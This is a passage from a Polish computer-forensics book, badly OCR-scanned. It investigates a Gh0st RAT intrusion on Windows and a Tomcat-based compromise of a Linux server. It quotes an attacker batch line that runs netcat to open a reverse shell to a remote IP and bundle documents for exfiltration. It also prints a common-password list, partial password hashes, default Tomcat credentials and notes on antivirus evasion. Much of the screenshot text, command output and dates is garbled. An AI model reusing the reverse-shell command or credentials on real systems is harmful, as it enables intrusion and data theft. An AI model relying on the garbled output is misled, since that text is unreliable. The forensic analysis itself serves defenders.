Uruchomienie polecenia at na hoscie ujawnia zaplanowane zadanie:

Ciwkat
Statuz ID  Day

1 Fach T W Th F § Su 11:38 A o windowstays tendd o leanup. bat

Zaplanowano wykonywanie pliku cleanup kazdego dnia o 23.30. Nalezy pobrac
ten plik w celu przeprowadzenia dalszych analiz.

Dzienniki zdarzen. Przed zapisaniem ciekawych plikow (np. NTUSER.DAT lub plikéw
z historig odwiedzonych stron internetowych) warto zachowac¢ takze dzienniki zda-
rzef. Za pomocg narzedzia psloglist z pakietu Sysinternals mozna tatwo pobra¢
z podejrzanego systemu dzienniki systemowe i bezpieczenstwa.

ICasrps loglist.exe system > Exssystem_eventlog.txt_

W trakcie analizowania dziennikéw odkrywamy nastepujace zdarzenia:

A new process has been created:

New Process ID: 3464

Image File Name: C:\WINDOWS\system32\cmd.exe
Creator Process ID: 1040

User Name: Administrator
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Domain: commercialcompany
Logon ID: (0x0,0x3E7)
A process has exited:
Process 1ID: 3440
Image File Name: C:\WINDOWS\system32\net.exe
User Name: Administrator
Domain: commercialcompany
Logon ID: (0x0,0x2394E)

Security Enabled Local Group Member Added:
Member ID: Fdpt_1tp1\Ch1n00k
Target Account Name: Administrators
Target Domain: commercialcompany

A process has exited:

Object Open:

Process ID: 2144

Image File Name: C:\WINDOWS\system32\mstsc.exe
User Name: Ch1n00k

Domain: commercialcompany

Logon 1ID: (0x0,0x2394E)

Object Server: Security

Object Type: File

Object Name: C:\WINDOWS\Tasks\At1.job

Handle ID: 11920

Operation ID: {0,39954625}

Process ID: 1040

Image File Name: C:\WINDOWS\system32\svchost.exe
Primary User Name: Ch1ln00k

Primary Domain: commercialcompany

A process has exited:

Process ID: 3932

Image File Name:  C:\WINDOWS\system32\ftp.exe
User Name:  Ch1ln00k

Domain: commercialcompany

Logon ID: (0x0,0x2394E)

W trakcie analizowania dziennikéw zdarzen stalo si¢ jasne, ze napastnicy wykonali
pewne operacje:

otwarli wiersz polecen,

za pomocg polecenia net dodali konto Ch1n00k,
otworzyli klienta ustug TS,

utworzyli zaplanowane zadanie,

uzyli protokotu FTP.
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Zdarzenia bezpieczenstwa o identyfikatorze 636 i 593 ujawniaja wiele instrukcji
uzytych przez napastnikow.

Katalog Prefetch. Jak wcze$niej wspomnieli$my, w wiekszosci systeméw Windows
funkcja Prefetch jest domyslnie wiaczona. Katalog Prefetch obejmuje liste ostatnich 128
programow uruchomionych w systemie. Lista ta pomaga ustali¢, ktore pliki wyko-
nywalne byly uzywane i jakie programy uruchomit napastnik oraz jakie dziatania
podjat.

Zawarto$¢ katalogu Prefetch mozna wyswietli¢ z poziomu wiersza polecen, co
pokazano ponizej. Nastepnie mozna skopiowac liste do pliku tekstowego.

e C:AWINDOWS\system32\cmd. exe . :
2182011 @7:80 AM 18,178 JUSCHED. EXE-BF4A%09D. pF

H2-18-2811 @7:88 aM 17.828 IMAPI . EXE-@BF?4804 . pf

12-10-2811 @7:81 AM 23,842 SHELLEXT .EXE-2ALBSF62 . pf

12-18-2811 8@7:82 AM 9.582 PEID.EXE-3827C63E.pf

12-18-2811 B@7:84 AM 7.846 UPR.EXE-2432C273.pf

12-19-2811 B8:27 AN 13.298 NOTEPAD.EXE-336351A7.pf

12-19-2811 BB:54 AM 21,924 IPCONFIG.EXE-2375F38B. pf

12-19-2811 B9:86 AM 18,562 WORDPAD.EXE-24533991.pF

12-19-2811 B9:89 AN 19.882 2.EXE-2576181F.pf

12-19-2011 @A9:A7 AM 12,836 WINMERGE-2.12.4-8ETUP.EXE-37123873.pf
121920811 B9:89 aM 17,398 WINMERGE-2.12.4-SETUP.THP-375891B6 . pf
21972811 @9:37 AM 21.654 DCOMCHFG32 .EXAE-BICDIFVC. pf

12-19-2811 18:11 AM 14,728 RUNDLL32.EXE-4DA227BS5 . pf

12-19-2811 18:12 AM 18,772 RUNDLL32_EXE-451FC2CH.pf

12-19-2811  18:12 AH 13.812 RUNDLL3Z2.EXE-4813E%22.pf

Pobieranie ciekawych plikow. Po zarejestrowaniu w odpowiedniej kolejnoéci zmiennych
danych mozna pobra¢ pewne ciekawe pliki, aby przeanalizowa¢ konkretny atak.
Oto one:

ntuser.dat — obejmuje dane z profilow uzytkownikow;

index.dat — obejmuje indeks zagdanych adresow URL;

pliki .rdp — obejmujg informacje na temat zdalnych sesji;

pliki .bmc — obejmujg zapisane w pamigci podrecznej obrazy klienta RDC;

pliki dziennika programu antywirusowego — obejmuja alarmy dotyczace
wirusow.

Analizowanie plikow .rap. Plik .rdp (ang. Remote Desktop Files) obejmuje ciekawe infor-
magcje na temat uzywanych serweréw, logowania itd. Domys$lnie plik ten znajduje sie
w katalogu /Dokumenty.

Na zainfekowanym hoécie znajdujemy plik .rdp. Po sprawdzeniu czasu jego utwo-
rzenia, modyfikacji i dostepu okazuje si¢, ze w pliku niedawno wprowadzono zmiany.
Pliki .rdp mozna otworzy¢ w dowolnym edytorze tekstu, poniewaz majg format XML.
W pliku natrafiamy na nastgpujace dane:
<server>

<name>HRserver.commercialcompany.com</name>
<displayName>HRserver.commercialcompany.com</displayName>
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<thumbnailScale>1</thumbnailScale>
<logonSettings inherit="FromParent" />
<remoteDesktop inherit="FromParent" />
<localResources inherit="FromParent" />
</server>

<server>

<name>AD. commercialcompany.com</name>
<displayName>AD.commercialcompany.com</displayName>
<thumbnailScale>1</thumbnailScale>
<logonSettings inherit="FromParent" />
<remoteDesktop inherit="FromParent" />
<localResources inherit="FromParent" />

Wyglada na to, ze napastnicy w poszukiwaniach informacji i danych uwierzy-
telniajacych uzywali zdalnego pulpitu do potaczenia si¢ z innymi serwerami z sieci.

Mozna si¢ o tym upewni¢ przez sprawdzenie nastepujacych wpisdw rejestru
(zobacz rysunek 6.15):

HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Server\UsernameHint

@ Edyla.l.le.j-st-n; a
Plik Edycja Widok Uubione Pomoc

|/ RestartManager “ || Nazwa Typ Dane

H sample Databases fﬂ(Domyélna) REG_SZ (wartos¢ nie ustalona)
b Serunch _ﬂ'w REG_SZ FinComphadministrator
i Ju Shared

|> |, Shared Tools
b SideShow

el Silverlight

) Speech

-1 S5OQMClient

) SystemCertificates

)

¥

1 Terminal Server Client
b+ ) Default

) Servers E|
) ATW-PECET

) 192168.6.133
- Ju UsernameHint

) TRPG

-l VBA

) VisualStudio

B i
[
[

e

4 B r < i b

Komputer\HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.6.133

Rysunek 6.15. Ustawienia historii ustug TS w rejestrze

Analizowanie plikow .bmc. Gdy uzytkownik taczy sie ze zdalnym komputerem za pomoca
funkcji Pulpit zdalny, serwer przesyla do klienta bitmape. Zapisanie tej bitmapy
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w plikach .bmc pozwala znacznie poprawi¢ wydajnos¢ programu Pulpit zdalny po
stronie klienta. Omawiane pliki s3 zwykle zapisywane w formie kafelkéw o wymiarach
64x64 piksele. Kazdy kafelek ma niepowtarzalny skrot. Pliki .bmc standardowo znaj-
duja si¢ w katalogu [nazwa uzytkownika]\Local Settings\Application Data\Microsoft\
Terminal Server Client\Cache. Zbadanie tych plikow pozwala lepiej poznac ruchy
napastnika w zainfekowanej sieci, ustali¢ uzywane aplikacje i pliki, a takze zastoso-
wane dane uwierzytelniajace (z konta, w ktérym znaleziono dany plik). Do odko-
dowywania i wezytywania plikéw .bmc stuzy program BMC Viewer (rysunek 6.16;
w3bbo.com/bmc/#h2prog).

% BMC Viewer =10 x|
BMCFie | browse.. | opp: [16 ]

[ Highight Non64x64 Ties  Savess.. |
' 5

Staft  1043am

Log On to Windmé

T

start .. XPMUser

Rysunek 6.16. Korzystanie z narzedzia BMC Viewer

W trakcie wezytywania pliku .bmc do wspomnianego narzedzia nalezy wybraé
odpowiednig wielkos¢ kafelka i klikna¢ przycisk Load. Ustalanie rozmiaru (8, 16, 32
itd.) odbywa si¢ metoda prob i bledow. Kliknij kafelek na ekranie, aby zapisa¢ go jako
plik graficzny.

Wyszukiwanie anomalii w katalogu System32. Przydatng technikg sprawdzania katalogu
c:\WINDOWS\system32 pod katem podejrzanych plikéw jest przeprowadzenie ope-
racji diff na tym katalogu i folderze z pamieci podrecznej. Pozwala to uzyskac liste
plikéw z tego katalogu zmodyfikowanych od momentu instalacji. Po ustawieniu
w filtrze odpowiedniej daty i czasu znaleziono nastepujace pliki:

e 6todex.dll,
* Cleanup.bat,
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e Ad.bat,
e D.rar,
o ].txt.

W trakcie analizowania plikéw .bat okazuje sie, ze napastnik uzyt pliku Cleanup.bat
do pozbycia sie sladow z dziennikéw. Pamigtasz, ze zaplanowano wykonywanie tego
pliku na godzineg 23.30 kazdego dnia?

Plik Ad.bat stuzyt do pobierania danych z innych maszyn domeny. Uzyskane w ten
sposob pliki byly pakowane i przygotowywane do wystania przez plik D.rar. W pliku
Ad.bat znajduja si¢ ciekawe informacje:

cmd /C %TEMP%\nc -e cmd.exe 192.168.3.39
copy *.doc > %TEMP%\bundle.zip

Oznacza to, ze w katalogu %Temp% umieszczono narzedzie netcat. Mozna je
wykorzysta¢ jako odbiornik i utworzy¢ ,furtke” w zainfekowanym systemie. Nastepny
interesujacy fancuch znakéw pokazuje, ze napastnicy kopiuja dokumenty do pliku
.Zip umieszczonego w katalogu %Temp%.

Plik I.txt zawiera liste hasel, ktore (nadal) s czesto stosowane:

123456
password
Password
1234
p@sswOrd
p@$$word
P@sswOrd
Pe$$wWOrd
12345

sa

admin
letmein
master
pass
test
abc123

Cho¢ wymienione pliki odkryto w jednym z systemoéw, nalezy sprawdzi¢, czy
nie wystepuja takze w innych systemach, poniewaz napastnik utworzyl lokalne
konto administratora i z pewnoscia wykradal dokumenty z domeny.

Dzienniki programow antywirusowych. Poczagtkowo w dziennikach programoéw anty-
wirusowych nie bylo zadnych wpiséw dotyczacych narzedzi RAT, ktére napastnicy
umiescili w systemie w celu zinfiltrowania firmy. Dlaczego nie wykryto narzedzia
netcat (nc.exe)? Wigkszo$¢ aplikacji antywirusowych traktuje je jako potencjalnie
niepozadany program.
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Przyjrzyjmy sie dokladniej konfiguracji programu antywirusowego w zaatako-
wanym systemie. W trakcie sprawdzania ustawien okazuje sig, ze stosowano zasady
domyslne. Wiele programéw antywirusowych ma zaawansowane ustawienia, ktére
pozwalaja zwiekszy¢ bezpieczenstwo hosta, natomiast rzadko sg stosowane. W zasa-
dach wystepuje wyjatek widoczny na rysunku 6.17.

Urwanted program exclusions
’7Don‘t detect specified detections (1)

Rysunek 6.17. Wyjgtek w programie antywirusowym

Po kliknieciu przycisku staje si¢ jasne, dlaczego program antywirusowy nie wykryt
ani nie zablokowal netcata (rysunek 6.18).

E}.- Set Unwanted Program Exclusions

Detection Name ] |

C:A\Windows\Temp'nc exe

Rysunek 6.18. Program antywirusowy nie blokuje netcata

Napastnicy utworzyli wyjatek dla netcata. Musieli to zrobi¢ przed skopiowaniem
pliku na zainfekowany komputer. Mozna si¢ o tym przekona¢, analizujac wpisy
w katalogu Prefetch lub pliku MFT.

Inna sztuczka, za pomoca ktérej napastnicy czgsto ukrywaja narzedzia przed
programami antywirusowymi i systemami IDS, polega na zmianie sygnatury pliku.
W trakcie recznego pakowania pliku (opis tej procedury mozna znalez¢ w internecie)
tablica sekgji pliku (.date, .rsrc i.txt) czesto jest szyfrowana za pomocg niestandardowej
funkcji XOR (XOR to réznica symetrycznas jest to operator bitowy w arytmetyce
logicznej).

Sie¢. Przydatne w $ledztwie moze okaza¢ si¢ przeanalizowanie danych przesy-
tanych z zainfekowanego hosta na serwer C&C. Na podstawie takich analiz mozna
zidentyfikowa¢ inne zaatakowane hosty, zdefiniowa¢ reguty dla systemu IDS itd. Pod-
stuchiwanie przesylanych danych jest proste. Wystarczy zastosowa¢ Wiresharka —
narzedzie o otwartym dostepie do kodu zrédiowego przeznaczone do analizy sieci.
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Poniewaz wiadomo, ze serwer C&C ma adres IP 192.168.6.128, mozna za pomoca
ponizszego filtra Wiresharka uzyska¢ dane przesylane na ten serwer.

ip.dst_host = = 192.168.6.128

Pozwala to uzyskac liste adreséw IP maszyn taczacych si¢ z serwerem C&C.
Analiza pakietow pozwala stwierdzi¢, ze kazdy pakiet kierowany na serwer C&C
i pobierany z niego zaczyna si¢ od stowa GhOst (rysunek 6.19).

¥ Frame 40: B0 bytes on wire (&840 bits), 80 bytes captured (840 bits)
# Ethernet II, Src: Vmware_d7:00:4c (00:0c:29:d7:00:4c), DST: Vmware_60:b9:b0 (00:0c:29:60:b9:b0)
% Internet Protocol, Src: 192.168.6.128 (192.168.6.128), Dst: 192.168.6.132 (192.168.6.132)
# Transmission control Protocol, src Port: hrep (80), Dst Port: gsm-remote (1166), Seq: 1, ack: 1, Len: 26
= Hypertext Transfer Protocol
= pata (26 bytes)
Data: 47683073741a00000005000000769c4bc92ce2e502000517. ..
[Length: 26]

000 00 Oc 29 &0 b9 b0 00 Oc 29 d7 OO0 4c 03 00 45 00 ..} .... J..L..E.
PO10 00 42 07 €1 40 00 80 06 64 a0 c0 a8 06 60 <0 a8 .8..@... d.......
020 06 B4 00 50 04 8e 15 Oc a9 c5 el ef Od 73 50 18 ... P.u.. 2uu. 5P,
P00 7 Ge ar 9c 00 00 INEGTIEETEEENEEERTGTGIE m
B0 00 00 78 S9C 4b €9 2c @2 e5 02 00 05 17 01 57

Rysunek 6.19. Analizowany pakiet

Na podstawie tych danych mozna utworzy¢ nastepny filtr Wiresharka:
"\x47\x68\x30\x73\x74" (Ghost)

Te sama sygnature mozna wykorzysta¢ do utworzenia reguly Snorta, aby zablo-
kowa¢ przesylane dane.

Podsumowanie ataku GhOst

Za pomocy falszywego e-maila napastnicy umiescili ,,furtki” w systemach, ktérych
uzytkownicy klikneli szkodliwy odnos$nik z wiadomosci. ,,Furtka” byta ukryta w stan-
dardowym procesie, co pozwolilo zachowa¢ ja takze po ponownym uruchomieniu
systemu. Analiza polgczen sieciowych wykazala, ze nawigzano sesje z nieznanym
adresem IP. W trakcie sprawdzania dziennikéw zdarzen stalo si¢ jasne, ze napastnicy
badali wewnetrzng domene, tworzyli konta i uzywali ustug TS do Iaczenia si¢ z innymi
klientami. Zbadanie czasu poszczegolnych zdarzen i wywotlanie instrukeji diff dla
katalogu \System32 pozwolito wykry¢ kilka dodanych plikéw. W trakcie ich analizy
stwierdzono, ze napastnicy szukali dokumentow i pakowali je w celu ich wyprowa-
dzenia. Utworzyli tez druga ,.furtke” za pomoca netcata. W dzienniku bezpieczenstwa
systemu Windows znaleziono nowe konto, Ch1n00k, za pomoca ktérego uzywano
klienta FTP. W harmonogramie zadan znaleziono nowe zadanie, ktérego wykonanie
zaplanowano na kazdy wieczor, aby czy$ci¢ zawartos¢ dziennikow.
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& Ataki APT na system Linux

Popularnosé¢ 8
Latwos¢ przeprowadzenia 8
Szkodliwos¢ 9

8

Ocena zagrozenia

Nie wszystkie ataki APT przeprowadza si¢ na system Microsoft Windows. Linux
jest w rownym stopniu narazony na atak i zainfekowanie przez ustugi sieciowe, luki
w aplikacjach oraz ustugi i udzialy sieciowe. W przedstawionym tu scenariuszu opi-
sano wybrane zwigzane z atakami APT artefakty, ktore mozna znalez¢ w zainfekowa-
nych hostach z systemem Linux.

Systemem testowym jest tu host z Linuksem, na ktérym dziala serwer Tomcat
z niebezpiecznymi danymi uwierzytelniajacymi (danymi administratora bezposred-
nio skopiowanymi z przykladowej strony, wyswietlanej przy pierwszym aczeniu sie
z Tomcatem i probie przejscia do sekcji administracyjnej).

Wykorzystalismy narzedzie Metasploit Framework (MFS), aby przez ustuge Tomcat
uzyskac dostep do powloki atakowanej maszyny. W trakcie testow penetracyjnych
kilkakrotnie zetknelismy sie z ta technika, dlatego zawsze sprawdzamy, czy mozna ja
zastosowa¢. Omawiany scenariusz obejmuje odkrycie ustugi Tomcat, znalezienie pliku
\shadow.bak (rysunek 6.20) i zlamanie hasel.

ToOt AWl :/etc# 1s -al *shadow*

—rwW-r— 1 root shadow 594 2011-12-31 12:53 gshadow
—rwW——— 1 root root 583 2011-12-30 22:17 gshadow—
—rW-r————— 1 root shadow 896 2011-12-31 12:53 shadow

_r 1_ront raot 12011-12-30 -1 hadow=
—r——r——r—— 1 root root 6§96 2011-12-31 13:20 shadow.bak
FTEOTEWEBU LT/ ETCT Tall SHadow-Bakx
gnats:*:15338:0:99999:7:::

15338:0:99999:7 :
1:15338:0:99999:
syslog:*:15338:0:99999:7
sshd:*:15338:0:99999:7::
postgres:*:15338:0:99999:7:::
landscape:*:153368:0:99999:7:::
tomcat&:*:15338:0:99999:7:::
jack:$65y40p8TI1VSacdHO/wac3fXIYISveS54B/ gxwT/ uSwkeMw . 3tw7x FREUVDPMIMTWT2ACKEC . J11thTPOpWLmD2 5CrTgsgv06V . : 15338
:0:99999:7:::
nagios:$65/0CsGyfh$KEIMsAwS /bBKOsawKsESezkvzx2EcVMsbnzl68qWgcB/ fb8L . mNEcXqwYCgBiTRTtgzAtoA0I8dhQo0FgY0EB0: 153
39:0:99999:7:::
root@web01: /etct i

Rysunek 6.20. Lokalizacja pliku Shadow.bak
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Na potrzeby tego scenariusza zal6zmy, ze napastnicy wywolali instrukcje cat na
pliku /etc/passwd i znalezli konto uslugi, nagios, oraz administratora o nazwie jack,
ktorego hasto znajdowato sie w polu gecos (gecos: Jack Black, password: jackblack).
Po uzyskaniu dostepu do konta Jacka wystarczy wywota¢ instrukcje sudo su -, ponie-
waz na calym serwerze sg ustawione domyslne opcje zabezpieczen (zdarza si¢ to
zdecydowanie za czgsto).

Z poziomu konta administratora napastnicy instaluja ,,furtk¢” PHP, tworza powloke
z bitem SUID nalezaca do administratora (pozwala to odzyska¢ dostep do konta
administratora po zmianie hasta) i pozostawiaja dowody skanowania, ale tylko na
dysku RAM — jesli komputer zostanie wytaczony, dowody znikng.

Przyjmijmy tez, Ze napastnicy wykorzystuja hosty posredniczgce, dlatego pozo-
stawiaja bardzo duzo §ladéw na maszynie. Przejmuja konto administratora, przejmuja
host i zagrozona jest cala siec.

Przejety host z Linuksem

Przybywamy do firmy i spotykamy si¢ z zespolem klienta. Ustalamy, ze dziejq sie
dziwne rzeczy, a serwery WWW najwyrazniej s zrodtem natezonego podejrzanego
ruchu. Nie ma jednak wyraznych $ladéw wlamania. Na szczgscie pracownicy nie
wylaczyli serwera, a tylko zablokowali dostep do niego na poziomie zapory.

Serwer znajduje si¢ w wewnetrznej sieci w centrum danych. W zaporze na gra-
nicach sieci jest stosowana statyczna translacja NAT, umozliwiajaca dostep do serwera
maszynom z poziomu internetu.

Klienci twierdza, ze nie maja ani checi, ani czasu, zeby kogo$ pozywac, chca jednak
ustali¢, czy maszyna zostata zainfekowana i co si¢ dzieje. Dlatego przygotowanie
dokumentacji jest mniej istotne, cho¢ musimy by¢ przygotowani na zmiane¢ zdania
przez klientow.

Otrzymujemy hasto do konta administratora i zaczynamy wstepne analizy dzia-
tajacego hosta. Poniewaz organizacja jest niewielka i zatrudnia tylko jednego admi-
nistratora (Jacka), ktéry odpowiada za wszystko, najpierw sprawdzamy historie¢ jego
konta. Chcemy ustali¢ jego standardowe dzialania, aby méc wykry¢ nietypowe operacje.

Oznaki wtamania

Niektore polecenia z historii konta Jacka daja powody do obaw (rysunek 6.21).

Jack moéwi, ze nie przypomina sobie, zeby tworzyl plik test-cgi.php. Jest to cos, co
warto dokladniej zbada¢. Znajdujemy tez inne nazwy plikow, ktorych Jack nie roz-
poznaje (np. system.sh). Takze tych plikéw nalezy poszukac.

Ponadto instrukcja sudo su- jest wygodna, ale niebezpieczna. Wskazuje ona, ze
jest uzywana domyslna (niezabezpieczona) konfiguracja programu sudo. Nie wrozy
to dobrze.
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50 history
jack@webdl: -5

Rysunek 6.21. Historia wywotanych polecen

Po krétkim przegladzie katalogu z dziennikami zauwazamy, ze serwer Tomcat
skonfigurowano tak, aby rejestrowal zadania dostgpu. Wskazuje na to istnienie plikow
localhost_access*. W plikach tych oprécz zapiséw normalnych operacji znajdujemy
niepokojace wpisy, ktére moga by¢ oznaka wltamania.

Zwracamy uwage na wpisy PUT. Kto§ Z INTERNETU umiescil na serwerze apli-
kacje o skomplikowanej nazwie. Wyglada to podejrzanie — jakby kto$ korzystal
z Tomcata z uprawnieniami administratora.

Po rozmowie z Jackiem okazuje sie, ze wykorzystat on nazwe uzytkownika i hasto
z przykladu z dokumentacji (tomcat/s3cret). Stosowanie domy$lnych lub tatwych
do odgadnig¢cia danych uwierzytelniajacych jest niedopuszczalne. Mozliwe, ze to
wladnie jest przyczyng probleméw firmy. Zwr6¢ uwage na czas (31 grudnia miedzy
godzing 18.25 a 21.32). Jack nie zdawal sobie tez sprawy, ze mozna wlamac¢ sie do
systemu operacyjnego, wykorzystujac aplikacje w rodzaju Tomcata.

Za pomocg narzedzia netstat sprawdzamy porty oczekujace na pakiety (rysu-
nek 6.22). Zadamy numeréw wszystkich takich portéw (-a) powigzanych z nazwami
(-n) i ustugami oczekujacymi na pakiety (-1). Wyswietlamy tez procesy uzywajace
poszczegolnych portéow (-p).

i ACTW Jesli system zostaf zainfekowany rootkitem, nie mozna ufac zadnej z podanych instrukcii. Jezeli uzyto

rootkita podfgczonego do wywotan systemowych, nie pomoga nawet pewne, bezpieczne pliki binarne.

Pozostaje mie¢ nadzieje, ze napastnicy nie sg wystarczajaco zaawansowani lub nie mieli czasu na
wprowadzenie tak duzych zmian w systemie.
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)
n Address LA F Jram name

Q
8 .
52 1.70:3354
il
@
¢
udp & i 4061
Active UNIX o4 5 (servers and established)
Peoto Reflnt Type 8 I
2
2
5
2

908 /postgras

run/postgraagl/.a. PCEQL. 5

3 [ 3533/eshd: jac |
¥ [ 3612/
2 [1 Jack [pr
2 [
2 i DGRAM
3 [ DGRAM
3 [ DGRAM
3 [ STREMM CONNECTED #/ comfubuntuSupst.
3 STREAM ED 333/ upstart-udav-be
Jeemcatid JJ

Rysunek 6.22. Informacje o portach oczekujacych na pakiety

Dane wyjsciowe nie daja powodéw do obaw. Wida¢ w nich oczekiwane polaczenie
z hostem i standardowe ustugi.

Innym doskonalym narze¢dziem do sprawdzania otwieranych plikow i ustug
oczekujacych na pakiety jest Isof. Uruchamiamy je z opcja —1, aby wyswietli¢ wszystkie
pliki otwarte w sieci (rysunek 6.23).

CLMRAND
dhelientd

postgres
lpestgres

3354 (ESTABLISHED)
33h-3>192.168.1.70:3354 (ESTABLISHE

Rysunek 6.23. Otwierane pliki
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Takze tu nie znajdujemy nic podejrzanego, idziemy wiec dalej.
Nie istnieje jedno miejsce, w ktérym napastnicy ukrywaja pliki. Znane sg jednak
pewne popularne sztuczki:
¢ dyski RAM (obejmuja pamie¢ zmienng i znikaja po wyltaczeniu zasilania);
* niewykorzystane sektory na dysku (ang. slack space);
* system plikoéw /dev;
e trudne do zauwazenia pliki lub katalogi (w Linuksie mozna utworzy¢ plik
lub katalog o nazwie ,,.. 7 — kropka, kropka i odstep);
* katalogi /tmp i /var/tmp, poniewaz wszyscy maja uprawnienia do zapisu do nich,
a administratorzy rzadko tu zagladaja.

W historii znalezlismy wpisy dotyczace katalogu /var/tmp, dlatego zaczynamy od
niego (rysunek 6.24).

Rysunek 6.24. Zawartos$¢ katalogu /var/tmp

Po wywotaniu samej instrukcji 1s nie dostrzegamy niczego niezwyklego. Jednak
po dodaniu opcji —a (wyswietl wszystkie pliki) i -1 (wyswietl wszystkie informacje)
okazuje sig, ze istnieja dwa katalogi ,,...” (kropka, kropka). Dodajemy opcje —b (wyswie-
tlanie znakéw specjalnych) i widzimy, ze jeden z nich to tak naprawde kropka,
kropka i odstep (rysunek 6.25). Jest to miejsce, w ktérym napastnik prawdopodobnie
ukryt pliki.

W katalogu ,,.. ” widzimy plik ,,...” z ustawionym bitem SUID. Wlascicielem tego
pliku jest administrator (trzeba si¢ temu przyjrze¢). Znajdujemy tez skrypt powtoki
z historii instrukgeji Jacka. Okazuje sig, ze skrypt ten tworzy dysk RAM i montuje go
w podkatalogu o niewinnej nazwie w katalogu /var/tmp. Instrukcja df (wyswietla
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rootlwebdl:/var/taph cd ', '

root@webdl: /varftaps/.. ¥ 13 -al

total 24

drwxe-xe-¥ 2 root root 4096 2012-01-01 16222 .
311 1 21:d

~IWaE-XE-% 1 root root 7139 2011-
fu-p==g== 1 roet rest 127 2011 31 13:55 ayatesm.ash
TootBwabll:/var/e=ps. . § At syste=.#h

Bindah

1 21:03 888

mkfs =t extl =g fdew/raml 16384
1 -d Sfrap/sop/fevelog 1 &6 mkdir -p Svarftmp/eyslog
fnount fdev/raml fvar/tmpssyslog

Lo waDULi/var/mps . =
[Filasystam Size Used Avail Usad Mounted on
fdev/mapper /weh0l-root

3¢ 2.2¢ 3G Th

GLET 497 216K A49TH 1%
mane SO2M 0 SOIM o
so2M EOR  S0IM 1%
502M 0 SOIM LI k
rone s02m o S0IM 0% Slib/iniz/re
G 3G 2.326 4G % fvardlibfureadahead/ debugis
/dev/edal 228m  17m  300m B4 _/boot
| dev S raml 1M 170K 15H 2% JSvar/tmp/ryslog
TS ReE UL T/ VAL T . ¥ i

Rysunek 6.25. Podejrzane katalogi

ona zamontowane systemy plikdw) pozwala stwierdzi¢, ze wspomniany dysk jest
zamontowany. Mozemy co$ tu znalez¢, zacznijmy jednak od pliku z bitem SUID
(rysunek 6.26).

mpf.. ¥ file ...

bit LSB ewecutable, Intel #038é, version 1 (8YsV), dynamically linked (uses shared libs), for GNU/Lin
pad

J.. ¥ atrings ...

root@weblil:/var

1 setuid ELF 3

ux 2.6.15, noc st
S

p::m_,-w J

- tart_main
GLIBC_I.0
TR

il
Sbinifsh
FOSTRWSnOL: Svarsaps .. & I

Rysunek 6.26. Analizowanie podejrzanego pliku
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Za pomoca polecenia strings wyszukujemy wszystkie tanicuchy znakéw w owym
pliku binarnym. Znajdujemy fancuchy execve i /bin/sh — klasyczna powloka z bitem
SUID nalezaca do administratora. Napastnicy chcieli ukry¢ ja w systemie, aby moc
odzyska¢ uprawnienia administratora, jedli stracg nieograniczony dostep do maszyny.

Mozna tez wywola¢ polecenie find, aby znalez¢ w katalogach konkretne rzeczy.
W UNIX-ie find to jedno z najwazniejszych narzedzi z bardzo duzg liczbg opcji. Tu
wywolujemy je w celu znalezienia plikéw (-type f) z katalogéw z dwdch pozioméw
(-maxdepth 2; gdy nie ograniczyli$my liczby pozioméw, danych wyjsciowych bylo
za duzo). Pliki sortujemy wedlug daty utworzenia (-daystart) i chcemy zobaczy¢
szczegbtowe informacje na ich temat (-1s). Dane pokazano na rysunku 6.27.

cption argument -type, but options are not positional
ified after it). Please specify options before other

F
B
£
r
v

r
Tt
~rwxr-xr-x 1
1 -rw-r--r-- 1
& -rw-r—-r--
rootdwebdl: /var ftaph [

Rysunek 6.27. Wyszukiwanie informacji w katalogach

Widoczne sg tu znalezione wcze$niej pliki, a takze kilka dodatkowych, umiesz-
czonych w pamieci nietrwalej (dobrze, Ze Jack nie spanikowal i nie wylaczyl serwera).

W plikach z katalogu /var/tmp/syslog znajdujemy dowody przeprowadzenia reko-
nesansu w sieci wewnetrznej. Coraz bardziej wyglada to na zaplanowany atak.

Natrafiamy na skrypt, ktory za pomocg instrukcji ping wykrywa aktywne systemy.
Poniewaz w systemie nie znajdujemy Nmapa, napastnicy najwyrazniej postuguja sie
wlasnymi narzedziami do odkrywania aktywnych systemoéw i ustalili w ten sposéb
liste potencjalnych celéw (rysunek 6.28).

Po uruchomieniu instrukgji strings dla pliku pps okazuje sie, Ze napastnicy uzy-
waja malego samodzielnego skanera portéw (rysunek 6.29).
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rootdwebdl: /var/tap/syslogh 11

wop =iv depsination | med 'af:/f

rootdwebll:/var/tap/ syslagh i

Rysunek 6.28. Wykrywanie aktywnych systemow

+

—--target -t

—-port-range - range to scan.

- C-USar -u service username (default: anonymous).
- scan service password.

——threads number of threads to use for scanning.
Examplas:

To scan all port
http proxy serw . L0, 1] i
-/ppscan —x 192.168.0.1 s h L 8 3 172.16.1.0/2
To scan all cClass C .lr.\:l usi

for ports 20 and 25, from 1
.”;p:'-.:m -5 tcp—syn -x 192 iEE.

_Jpps:an 192.168.0.
or

+ ..”pp::ar -t 192.168.0.0s24
&S

R

Tiurw:
e to alloc space.

nable to alloc space.

own_eption.

D N N L e,

+ parallel port scanner v0.3 +
R T g E T T e
+ copyright {(c) 2009 aaron conole *

4 E4at bbbttt bbb bbb E E 1R B F b b bR AR bbb bbb b4
+ Error| Please specify at least a targetl

+ Errorl Inwalid prexy type specified

1-65535

Rysunek 6.29. Napastnicy korzystaja ze skanera portow

Aha! Skaner portéw (ppscan)! Ustalamy tez wersje i autora narzedzia.
Napastnikom udalo si¢ uzyska¢ dostep do Tomcata, ale nie mieli dostepu do konta
administratora. W jaki sposob zdobyli pelng kontrole nad hostem?
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W danych wyjsciowych polecenia 1ast wida¢, ze zalogowano sie do konta nagios
(rysunek 6.30). Jest to konto ustugi monitorowania hostéw. Nie powinno si¢ logowa¢
na nie w standardowy spos6b — a juz na pewno nie z poziomu internetu!

wtmp begins Fri Dec 30 22:35:12 2011
root@wabdl:
Username
root
dacmon

bin

r logged in**
logged inv®
logged ins+
logged in**
logged in*®
logged ins+
logged in*®
logged in*®

S¥S
sync
games
man

1p

mail logged in**
nows r logged in*®
uucp r logged in**
proxy logged in*®
hwi-data logged in**
backup logged ine
list logged in*®
irc logged in*®
gnats logged in**
ncbedy logged in*®
libuuid r logged in*+
syslog £ logged i
sshd

postgres

landscape

tomcatf

jack pts/l 192.168.1.70

Aaglos pts/1 205.113.4.¢64

rootBwebll:~F ]

Rysunek 6.30. Kto$ logowat sie do konta nagios

Moment logowania pasuje do czasu ataku. W trakcie analizowania dozwolonych
portéw okazuje sie¢, ze mozliwe jest zdalne zarzadzanie powtoka SSH. Uch! Dla konta
